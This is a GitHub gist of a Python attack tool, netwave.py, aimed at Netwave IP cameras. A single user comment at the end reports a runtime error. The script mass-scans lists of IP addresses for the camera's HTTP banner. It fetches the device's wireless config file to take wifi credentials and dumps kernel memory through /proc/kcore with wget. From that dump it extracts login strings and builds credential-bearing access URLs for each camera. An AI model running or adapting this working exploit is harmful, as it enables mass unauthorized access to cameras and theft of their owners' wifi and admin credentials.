Created
July 10, 2017 20:24
-
-
Save grizmin/f69e97ba496bb9050949abfcc7094d54 to your computer and use it in GitHub Desktop.
netwave.py (logging)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# | |
# by Grizmin, used spiritnull(at)sigaint.org exploit | |
# python3 and python2 compatible | |
import sys | |
import os | |
import time | |
import tailer | |
import signal | |
import subprocess | |
import psutil | |
import threading | |
from weakref import WeakValueDictionary, ref | |
import atexit | |
import weakref | |
import stopit | |
import datetime | |
import re | |
import copy | |
import socket | |
import argparse | |
import logging | |
if (sys.version_info > (3, 0)): | |
import urllib.request as urllib2 | |
else: | |
import urllib2 | |
# set up semaphores | |
screenLock = threading.Semaphore() | |
#add custom level | |
logging.THREAD = 25 | |
logging.addLevelName(logging.THREAD, 'THREAD') | |
# set up logging | |
logger = logging.getLogger(name=__name__) | |
logger.thread = lambda msg, *args: logger._log(logging.THREAD, msg, args) | |
formatter = logging.Formatter("%(asctime)s:%(threadName)s:%(levelname)-5s: %(message)s") | |
debugformatter = logging.Formatter("%(asctime)s:%(threadName)s:%(levelname)+6s:%(funcName)s:%(lineno)s:%(message)s") | |
streamformater = logging.Formatter("%(levelname)s: %(message)s") | |
# debug log to file | |
debuglogfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-debug-%Y%m.log'), "a") | |
debuglogfilehandler.setLevel(logging.DEBUG) | |
debuglogfilehandler.setFormatter(debugformatter) | |
logger.addHandler(debuglogfilehandler) | |
# Log to stdout | |
logstreamhandler = logging.StreamHandler() | |
logstreamhandler.setLevel(logging.INFO) | |
logstreamhandler.setFormatter(streamformater) | |
logger.addHandler(logstreamhandler) | |
# thread log handler | |
infologfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-thread-%Y%m.log'), "a") | |
infologfilehandler.setLevel(logging.THREAD) | |
infologfilehandler.setFormatter(formatter) | |
logger.addHandler(infologfilehandler) | |
# info log handler | |
infologfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-%Y%m.log'), "a") | |
infologfilehandler.setLevel(logging.INFO) | |
infologfilehandler.setFormatter(formatter) | |
logger.addHandler(infologfilehandler) | |
logger.setLevel(logging.DEBUG) | |
class Counter(object): | |
def __init__(self, start=0): | |
self.lock = threading.Lock() | |
self.value = start | |
def increment(self): | |
self.lock.acquire() | |
try: | |
self.value = self.value + 1 | |
finally: | |
self.lock.release() | |
class SafePrint(): | |
def __init__(self, tp='info'): | |
self.screenLock = threading.Lock() | |
self.tp = tp.split(',') | |
def __call__(self, *args, **kwargs): | |
self.screenLock.acquire() | |
print("".join(args)) | |
self.screenLock.release() | |
def sw(self, message, t='i'): | |
t = t.split() | |
self.screenLock.acquire() | |
if 'a' in t and 'always' in self.tp: | |
print(message) | |
elif 'i' in t and 'info' in self.tp: | |
print(message) | |
elif 'd' in t and 'debug' in self.tp: | |
print(message) | |
self.screenLock.release() | |
class MyThread(threading.Thread): | |
def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, verbose=None): | |
super(MyThread, self).__init__(group=group, target=target, name=name, args=args, kwargs=kwargs) | |
self.threadLimiter = kwargs.pop('threadLimiter', None) | |
self.counter = kwargs.pop('counter', None) | |
self.screenLock = kwargs.pop('screenLock', None) | |
self.logger = logger or logging.getLogger(__name__) | |
# self.logger.setLevel(logging.INFO) | |
def run(self): | |
self.threadLimiter.acquire() | |
try: | |
self.counter.increment() | |
self.screenLock.acquire() | |
self.logger.thread('spawn thread #{}'.format(self.counter.value)) | |
self.screenLock.release() | |
super(MyThread, self).run() | |
finally: | |
self.threadLimiter.release() | |
class SafeWrite(): | |
def __init__(self, logfile=None, message=None, removeEmpty=False): | |
self.message = message | |
self.removeEmpty = removeEmpty | |
self.lock = threading.Lock() | |
self.logfile = self._init_log(logfile) | |
try: | |
self.fd = open(self.logfile, 'w+') | |
self.closed = False | |
except Exception as e: | |
raise Exception(e) | |
def __call__(self, message): | |
self.lock.acquire() | |
self.fd.write("{}\n".format(message)) | |
self.fd.flush() | |
os.fsync(self.fd.fileno()) | |
self.lock.release() | |
def _init_log(self, logfile): | |
if os.path.exists(os.path.join(os.getcwd(), '{}.txt'.format(logfile))): | |
timestamp = datetime.datetime.today().strftime('%Y%m%H%M%S%f') | |
logger.debug("{} already exists. Using new name {}".format(logfile+'.txt',logfile+"-"+timestamp)) | |
m = re.match("(.*)(-\d+.txt)", logfile) | |
if m: | |
logfile = re.match("(.*)(-\d+.txt)", logfile).group(1) | |
logfile = '{}-{}'.format(logfile, timestamp) | |
return self._init_log(logfile) | |
else: | |
return '{}.txt'.format(logfile) | |
def close(self): | |
self.fd.seek(0, os.SEEK_END) | |
size = self.fd.tell() | |
if self.removeEmpty and not size: | |
logger.debug("removing empty logfile " + self.logfile) | |
os.system("rm -rf {}".format(self.logfile)) | |
self.fd.close() | |
self.closed=True | |
def __exit__(self, *args): | |
self.close() | |
class Checker(): | |
def __init__(self, request=None, SQ=None, screenLock=None, sw=None): | |
self.logger = logger or logging.getLogger(__name__) | |
self.screenLock = screenLock | |
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.sock.settimeout(2) | |
self.search_query = SQ | |
if not request: | |
self.request = "GET / HTTP/1.1\r\n\r\n" | |
else: | |
self.request = request | |
def _connect(self): | |
self.sock.connect_ex((self.ip_addr, self.port)) | |
def _send_timeout(self, timeout=2): | |
self.sock.setblocking(0) | |
self.sock.settimeout(timeout) | |
try: | |
self.sock.sendall(self.request) | |
except socket.error: | |
self.logger.debug('{}:{} - Send failed'.format(self.ip_addr,self.port)) | |
def _recv_timeout(self, timeout=3): | |
self.sock.setblocking(0) | |
total_data = []; | |
begin = time.time() | |
while 1: | |
# if you got some data, then break after wait sec | |
if total_data and time.time() - begin > timeout: | |
break | |
# if you got no data at all, wait a little longer | |
elif time.time() - begin > timeout * 2: | |
break | |
try: | |
data = self.sock.recv(8192) | |
if data: | |
total_data.append(data) | |
begin = time.time() | |
else: | |
time.sleep(0.1) | |
except Exception: | |
pass | |
return ''.join(total_data) | |
def check(self, host): | |
self.host = host | |
self.ip_addr = host.split(':')[0] | |
try: | |
self.port = int(host.split(':')[1]) | |
except IndexError: | |
self.port = 80 | |
if not self._connect(): | |
self.logger.debug('{} - Connection successful.'.format(host)) | |
self._send_timeout() | |
reply = self._recv_timeout() | |
if self.search_query in reply: | |
self.screenLock.acquire() | |
logger.debug('{} is a match.'.format(self.ip_addr)) | |
self.screenLock.release() | |
return "{}:{}".format(self.ip_addr, self.port) | |
else: | |
self.logger.debug('{} - Connection can not be established'.format(host)) | |
return None | |
def __call__(self, host): | |
return self.check(host) | |
class Exploiter(object): | |
_instances = WeakValueDictionary() | |
@property | |
def count(self): | |
return len(self._instances) | |
def __init__(self, host, batchmode=False): | |
self.logger = logger or logging.getLogger(__name__) | |
self.name = host | |
self.batchmode = batchmode | |
self._instances[id(self)] = self | |
logger.debug(self.name + ' instance created') | |
self.host = host | |
self.vdata = [] | |
self.usable_data_found = False | |
self.ip_addr = host.split(':')[0] | |
try: | |
self.port = host.split(':')[1] | |
except IndexError: | |
self.port = 80 | |
self.tcpstream = "tmpstream-{}_{}.bin".format(self.ip_addr,self.port) | |
self.stringsout = "tmpstrings-{}_{}.str".format(self.ip_addr,self.port) | |
self.statusurl = 'http://' + host + '/get_status.cgi' | |
self.wifi_info_url = "http://" + host + "//etc/RT2870STA.dat" | |
self._get_cam_info() | |
self._get_wifi_info() | |
def _get_cam_info(self): | |
if not self.batchmode: | |
self.logger.info('Getting camera information.') | |
try: | |
response = urllib2.urlopen(self.statusurl) | |
except urllib2.URLError as e: | |
self.logger.critical("Exception: {}".format(e)) | |
exit(e) | |
self.logger.debug("Reading response in _get_cam_info") | |
content = response.read().decode('utf-8').split(";\n") | |
if content: | |
self.logger.debug("content red successfully.") | |
for line in content: | |
if line.startswith("var id="): | |
self.macaddr = line.split("'")[1] | |
if line.startswith("var alias="): | |
self.deviceid = line.split("'")[1] | |
def _get_wifi_info(self): | |
self.logger.info('Getting wireless information.') | |
self.wifi_info = {} | |
try: | |
response = urllib2.urlopen(self.wifi_info_url) | |
self.logger.debug("Reding content in _get_wifi_info") | |
content = response.read().decode('utf-8').split(";\n") | |
for line in content: | |
line = line.strip("[Default]\n").split('\n') | |
for d in line: | |
k,v = d.split("=") | |
self.wifi_info[k] = v | |
except Exception: | |
self.logger.info("wireless info unavailable.") | |
return self.wifi_info | |
@stopit.threading_timeoutable() | |
def exploit(self): | |
mac_trigger = False | |
self.linecount = 0 | |
counter = 10 | |
self.logger.info("Reading memory..") | |
self.logger.debug("Starting wget") | |
self.wget = subprocess.Popen("wget -qO- http://" + self.host + "//proc/kcore > {}".format(self.tcpstream), shell=True, | |
preexec_fn=os.setsid) | |
self.logger.debug('wget process started') | |
os.system('echo "" >{}'.format(self.stringsout)) | |
time.sleep(1) | |
self.tail = subprocess.Popen("tail -f {} | strings >> {}".format( | |
self.tcpstream,self.stringsout), shell=True, preexec_fn=os.setsid) | |
try: | |
stringfd = open(self.stringsout, 'r') | |
self.logger.debug('{} - {} oppened.'.format(self.host,self.stringsout)) | |
except Exception as e: | |
self.logger.critical('{} - {} failed to open.'.format(self.host, self.stringsout)) | |
exit(1) | |
while counter > 0: | |
sys.stdout.flush() | |
if os.stat(self.stringsout).st_size <= 1024: | |
if not self.batchmode: | |
sys.stdout.write("binary data: " + str(os.stat(self.tcpstream).st_size) + "\r") | |
time.sleep(0.5) | |
else: | |
sys.stdout.flush() | |
self.logger.thread("{} - strings in binary data found.".format(self.host)) | |
for line in tailer.follow(stringfd): | |
self.usable_data_found = True | |
sys.stdout.flush() | |
if not mac_trigger: | |
self.linecount += 1 | |
if line == self.macaddr: | |
sys.stdout.flush() | |
mac_trigger = True | |
screenLock.acquire() | |
self.logger.thread("\n\n{} - mac address found in dump.".format(self.host)) | |
screenLock.release() | |
else: | |
if not self.batchmode: | |
sys.stdout.write("Strings processed: " + str(self.linecount) + "\r") | |
elif counter > 0: | |
self.vdata.append(line) | |
counter -= 1 | |
if counter == 0: | |
break | |
def get_access_urls(self): | |
if len(self.vdata): | |
return ['http://{}:{}@{}'.format(self.vdata[1], self.vdata[2], self.host), | |
'http://{}:{}@{}'.format(self.vdata[0], self.vdata[1], self.host), | |
'http://{}:{}@{}'.format(self.vdata[3], self.vdata[4], self.host)] | |
else: | |
return [] | |
def cleanup(self): | |
self.logger.debug('\n{} - cleaning up..'.format(self.host)) | |
if self.linecount > 9000 and not len(self.vdata): | |
self.logger.debug('\n{} - saving strings dump as it might be interesing.'.format(self.host)) | |
os.system("cp {} int-{}-{}".format(self.stringsout, self.linecount, self.stringsout)) | |
os.system("rm -rf {}".format(self.tcpstream)) | |
os.system("rm -rf {}".format(self.stringsout)) | |
if 'wget' in self.__dict__: | |
self.logger.info('{} - Terminating wget with pid {}'.format(self.host, self.wget.pid)) | |
Exploiter.kill(self.wget.pid) | |
if 'tail' in self.__dict__: | |
self.logger.info('{} - Terminating tail with pid {}'.format(self.host, self.tail.pid)) | |
Exploiter.kill(self.tail.pid) | |
def __enter__(self): | |
return self | |
def __exit__(self): | |
self.cleanup() | |
def __del__(self): | |
self.logger.debug("{} deleted.".format(self.name)) | |
if self.count == 0: | |
self.logger.debug('Last Exploit object deleted') | |
else: | |
self.logger.debug(self.count, 'Exploit objects remaining') | |
@staticmethod | |
def kill(proc_pid): | |
process = psutil.Process(proc_pid) | |
for proc in process.children(recursive=True): | |
try: | |
proc.kill() | |
except psutil.NoSuchProcess: | |
pass | |
try: | |
process.kill() | |
except psutil.NoSuchProcess: | |
pass | |
def signal_handler(signal, frame): | |
print("Ctrl+c caught. Exiting..") | |
sys.exit(1) | |
signal.signal(signal.SIGINT, signal_handler) | |
def exploit(host, batchmode=False): | |
logger.info = lambda msg, *args: logger._log(logging.INFO, "{} - {}".format(host, msg), args) | |
logger.debug = lambda msg, *args: logger._log(logging.DEBUG, "{} - {}".format(host, msg), args) | |
try: | |
__retry = 2 | |
__try = 1 | |
ip_addr = host.split(':')[0] | |
try: | |
port = host.split(':')[1] | |
except IndexError: | |
port = 80 | |
sw = SafeWrite('{}-{}'.format(ip_addr, port), removeEmpty=True) | |
cam = Exploiter(host, batchmode=batchmode) | |
timeout = 240 | |
logger.info("Device MAC: {}".format(cam.macaddr)) | |
logger.info("Device ID: {}".format(cam.deviceid)) | |
logger.info("Wireless: {}".format(cam.wifi_info)) | |
logger.debug("Running against - " + host) | |
cam.exploit(timeout=timeout) | |
with screenLock: | |
with open('processed.log', 'a+') as prfd: | |
logger.debug("Open - " + prfd) | |
prfd.write(host + '\n') | |
if cam.usable_data_found and len(cam.vdata): | |
sw("******* {} *******".format(host)) | |
if cam.wifi_info: | |
sw(cam.wifi_info) | |
for i in cam.get_access_urls(): | |
logger.debug("wifi_info=" + i) | |
sw(i) | |
for i in cam.vdata: | |
sw(i) | |
while __try <= __retry: | |
if len(cam.vdata): | |
break | |
elif not cam.usable_data_found and __try == 2: | |
break | |
screenLock.acquire() | |
logger.info("\nRetrying {} {}/{}".format(host, __try, __retry)) | |
screenLock.release() | |
__try += 1 | |
cam.cleanup() | |
cam.exploit(timeout=timeout) | |
except Exception as e: | |
logger.error("Exception: {}".format(e)) | |
print(e) | |
finally: | |
if 'cam' in locals(): | |
cam.cleanup() | |
if 'sw' in locals(): | |
sw.close() | |
def main(): | |
SQ = 'Netwave IP Camera' | |
parser = argparse.ArgumentParser() | |
parser.add_argument('--ip', help="format: IP:Port eg. 127.0.0.1:80") | |
parser.add_argument('--file','-f', type=argparse.FileType('r'), help='file with \'ip:port\n\' format.') | |
parser.add_argument('-b', '--batch', action='store_const', const=True, default=False) | |
parser.add_argument('--threads', '-t', const=50, nargs='?', type=int, metavar='threadnum', default=50) | |
parser.add_argument('--check','-C', action='store_const', const=True, default=False, help='checks alive IPs hosts from file.') | |
arg = parser.parse_args() | |
if arg.ip and arg.batch: | |
print('ERROR: IP and batch mode are not compatible') | |
parser.print_usage() | |
elif arg.ip and arg.file: | |
print('ERROR: Specify wither IP or file') | |
parser.print_usage() | |
elif arg.file and not arg.batch: | |
print('ERROR: File can\'t be specified without -b option') | |
elif arg.check and not arg.batch: | |
print('ERROR: Check mode must be used with batch mode and file (-b -f)') | |
if arg.batch: | |
if arg.check: | |
print("Running in check mode.") | |
ts_counter = Counter() | |
c_counter = Counter() | |
camips = [] | |
def check(ip, ip_list): | |
c = Checker(SQ=SQ, screenLock=screenLock) | |
aliveip = c(ip) | |
if aliveip: | |
ip_list.append(aliveip) | |
threadLimiter = threading.Semaphore(arg.threads) | |
testips = set([line.strip("\n") for line in arg.file.readlines()]) | |
threads = [] | |
for i in testips: | |
threads.append(MyThread(name="Thread-"+i, target=check, args=(i, camips, ), | |
kwargs={'counter': c_counter, 'threadLimiter': threading.Semaphore(100), | |
'screenLock': screenLock})) | |
[t.start() for t in threads] | |
[t.join() for t in threads] | |
if arg.check: | |
logger.info('{} cameras alive'.format(len(camips))) | |
exit(0) | |
threads = [] | |
print('Running against {} alive targets.'.format(len(camips))) | |
with open('processed.log', 'a+') as prfd: | |
prfd.write('Running against {} alive targets.\n'.format(len(camips))) | |
for i in camips: | |
threads.append(MyThread(name="Thread-{}".format(i), | |
target=exploit, args=(i, 'batchmode=arg.batch', ), | |
kwargs={'counter': ts_counter, 'threadLimiter': threadLimiter, | |
'screenLock': screenLock})) | |
# [t.setDaemon(True) for t in threads] | |
[t.start() for t in threads] | |
[t.join() for t in threads] | |
elif arg.ip: | |
host = arg.ip | |
exploit(host) | |
if __name__ == '__main__': | |
logger.info("Starting {} on {} with params: {}".format(sys.argv[0], | |
datetime.datetime.today(), sys.argv[1:])) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
after testing this code i get this error with single ip
ERROR: Exception: cannot concatenate 'str' and 'file' objects